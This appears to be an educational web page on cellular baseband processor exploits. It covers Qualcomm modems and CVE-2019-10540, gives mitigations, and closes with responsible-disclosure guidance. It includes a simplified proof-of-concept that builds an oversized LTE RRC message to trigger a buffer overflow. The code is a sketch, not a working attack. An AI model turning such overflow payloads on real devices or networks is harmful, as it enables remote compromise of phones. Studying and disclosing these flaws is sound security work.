Baseband Exploits
Real-world baseband processor exploits with code examples, affected devices, and mitigation strategies
Exploits Overview
Baseband exploits target vulnerabilities in cellular modem processors to achieve various goals, from information disclosure to complete device compromise.
These exploits are particularly concerning because:
- Remote exploitation: Many can be executed remotely via cellular networks
- Silent operation: Attacks often leave minimal traces visible to the user
- Privileged access: Compromised basebands can access sensitive hardware
- Widespread impact: Vulnerabilities often affect millions of devices
Detailed Exploits
BasebandPwn
A remote code execution vulnerability in the LTE protocol stack of certain baseband processors.
// Simplified PoC for BasebandPwn
function createMaliciousRRCMessage() {
const message = new RRCConnectionSetup();
message.criticalExtensions.c1.rrcConnectionSetup_r8.radioResourceConfigDedicated.srb_ToAddModList = [];
// Create oversized buffer to trigger overflow
const oversizedBuffer = new Buffer(4096).fill('A');
// Inject payload into specific field
message.criticalExtensions.c1.rrcConnectionSetup_r8.radioResourceConfigDedicated.mac_MainConfig = {
explicitValue: oversizedBuffer
};
return message.encode();
}Affected Devices:
- Qualcomm Snapdragon X5-X24 modems
- Devices using affected Qualcomm chipsets
Mitigation:
- Apply vendor-provided security patches. If unavailable, consider using devices with different baseband processors or implementing network-level filtering of suspicious RRC messages.
References:
- CVE-2019-10540
- Vendor Security Bulletin QSB-2019-0504
Exploit Categories
Memory corruption vulnerabilities in baseband processors typically arise from improper handling of cellular protocol messages, leading to buffer overflows, use-after-free, or other memory safety issues.
Impact: Remote code execution, information disclosure
Command injection exploits target the AT command interface or other control interfaces, allowing attackers to execute unauthorized commands or access sensitive information.
Impact: Information disclosure, configuration changes
Privilege escalation exploits leverage vulnerabilities in the interface between baseband and application processors to gain elevated privileges on the main device operating system.
Impact: Full device compromise, persistent access
Responsible Disclosure
The exploits presented here are for educational purposes only. Responsible security researchers follow these guidelines when discovering baseband vulnerabilities:
- Report vulnerabilities directly to affected vendors
- Allow reasonable time for patches to be developed
- Coordinate disclosure with vendors and security organizations
- Publish technical details only after patches are available